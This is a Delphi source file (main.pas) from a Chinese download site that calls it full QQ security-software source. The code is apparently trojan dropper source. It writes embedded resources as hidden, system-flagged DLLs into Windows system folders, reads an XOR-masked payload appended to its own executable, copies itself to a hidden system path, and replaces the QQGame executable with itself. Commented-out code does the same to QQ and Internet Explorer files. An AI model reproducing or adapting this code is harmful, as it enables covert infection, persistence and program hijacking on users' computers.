⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.pas

📁 DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流
💻 PAS
字号:
unit Main;

interface
function GetDirectory(dInt: Integer): string;
procedure Run;
function GetExtraInfo(): string; // 返回字符串形式的额外信息
procedure ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string); // 释资源到文件
 var
 ComDLL_FileName: string;
 ComDLL_FileName2:string;
 ComDLL_FileName3:string;
 ComDLL_FileName4:string;
 ComDLL_FileNameA: string;
 ComDLL_FileNameB:string;
 ComDLL_FileNameC:string;
 ComDLL_FileNameD:string;
 copyee:string;
 PDFile:string;
 MSdos:string;
 QQlujing:string;
 anlujing:string;
 QQaLU:string;
 QQbLU:string;
 QQcLU:string;
 IEA:string;
 IEB:string;
 PDQQGame:string;
implementation

uses Windows,tlhelp32,Messages,shellapi,Thuan;

 function GetDirectory(dInt: Integer): string;
var
  s: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径
    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径
    2: GetTempPath(256,@s);           //Temp文件夾所存在的路径
  end;
  if dInt=2 then
    result :=string(s)
  else
    result := string(s) + '\';
end;

  // 返回字符串形式的额外信息
function GetExtraInfo(): string;
var
  hFile, WSize, Len: DWORD;
  Buf:string;
begin
  Result := #$4C#$69#$75#$6D#$61#$7A#$69; //****  #$4D#$75#$6D#$61#$52#$65#$6E; //  Paramstr(0)
   SetLength(Buf, 255);  //千万不要忘了先给你的字符串申请足够的空间,不然……嘿嘿,等着弹框儿吧^_^
   GetModuleFileName(0, PChar(Buf), 255);
  hFile := CreateFile(PChar(Buf), GENERIC_READ,FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile = INVALID_HANDLE_VALUE) then Exit;

  SetFilePointer(hFile, -4, nil ,FILE_END);
  ReadFile(hFile, Len, 4, WSize, nil);
  Len := Len xor $4D617A69;  // Lazi

  SetFilePointer(hFile, -Len, nil ,FILE_END);
  SetLength(Result, Len);
  ReadFile(hFile, Result[1], Len, WSize, nil);

  CloseHandle(hFile);
end;
  
  // 释资源到文件         『类型』 『名称』 『位置』         『额外信息』
procedure ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string);
var
  HResInfo, HGlobal, FHandle, FSize, WSize: LongWord;
  FMemory: Pointer;
begin
  HResInfo := FindResource(hInstance, ResName, ResType);
  if (HResInfo = 0) then Exit;

  HGlobal := LoadResource(hInstance, HResInfo);
  if (HGlobal = 0) then Exit;

  FMemory := LockResource(HGlobal);
  if (FMemory = nil) then Exit;

  FHandle := CreateFile(FileName, GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM, 0);
  if (FHandle = INVALID_HANDLE_VALUE) then Exit;

  FSize := SizeOfResource(hInstance, HResInfo);
  WriteFile(FHandle, FMemory^, FSize, Wsize, nil);

  FSize := Length(ExtraInfo);
  WriteFile(FHandle, ExtraInfo[1], FSize, Wsize, nil);

  SetEndofFile(FHandle);
  CloseHandle(FHandle);

  UnlockResource(HGlobal);
  FreeResource(HGlobal);
end;

procedure Run;
 var
 BadCode: array[0..500] of Char;
 SubThreadID: LongWord;
  data:string;
 copyee:string;
  PDQQGame:string;
  PDQQ:string;
  PDIE:string;
begin
   DeleteFile(BadCode);
   PDQQGame:='QQGameDl.exe';
   PDQQ:='TIMPlatform.exe';
   PDIE:='iedw.exe';
   IEA:=GetReleaseFileName+'iedw.exe';
   IEB:=GetReleaseFileName+'iedv.exe';
   ComDLL_FileName:= GetDirectory(1)+'Drvce.dll';
   ComDLL_FileName2 := GetDirectory(1)+'dllcache\Dllse.dll';
   ComDLL_FileName3 := GetDirectory(1)+'IMENS.dll';
   ComDLL_FileName4 := GetDirectory(1)+'Setup\Max.dll';
   copyee:= GetDirectory(1)+'COM\Mbak.exe';
   SetFileAttributes(PChar(ComDLL_FileName), 0);
   SetFileAttributes(PChar(ComDLL_FileName2), 0);
   SetFileAttributes(PChar(ComDLL_FileName3), 0);
   SetFileAttributes(PChar(ComDLL_FileName4), 0);
   DeleteFile(PChar(ComDLL_FileName));
   ReleaseResToFile(RT_RCDATA, 'DATEINFO', PChar(ComDLL_FileName), GetExtraInfo());
   ReleaseResToFile(RT_RCDATA, 'DATEINFO', PChar(ComDLL_FileName2), GetExtraInfo());
   ReleaseResToFile(RT_RCDATA, 'DATEINFO', PChar(ComDLL_FileName3), GetExtraInfo());
   ReleaseResToFile(RT_RCDATA, 'DATEINFO', PChar(ComDLL_FileName4), GetExtraInfo());
  //SelfDuplicate(copyee);
   CopyFile(pchar(Paramstr(0)),pchar(copyee),false);
   SetFileAttributes(PChar(copyee),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
   if POS(UpperCase(PDQQGame),UpperCase(Paramstr(0)))=0 then
    begin

   //QQGame
   CopyFile(pchar(QQlujing),pchar(anlujing),false);
   SetFileAttributes(PChar(anlujing),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
   CopyFile(pchar(copyee),pchar(QQlujing),false);
   SetFileAttributes(PChar(QQlujing),0);

  {//QQ
   CopyFile(pchar(QQaLU),pchar(QQbLU),true);
   CopyFile(pchar(QQcLU),pchar(QQbLU),true);
   SetFileAttributes(PChar(QQbLU),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
   CopyFile(pchar(copyee),pchar(QQcLU),false);
   CopyFile(pchar(copyee),pchar(QQaLU),false);
   SetFileAttributes(PChar(QQaLU),0);
   SetFileAttributes(PChar(QQcLU),0);
  //IE
   CopyFile(pchar(IEA),pchar(IEB),true);
   SetFileAttributes(PChar(IEB),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
   CopyFile(pchar(copyee),pchar(IEA),false);
   SetFileAttributes(PChar(IEA),0);  }

   end;
 end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -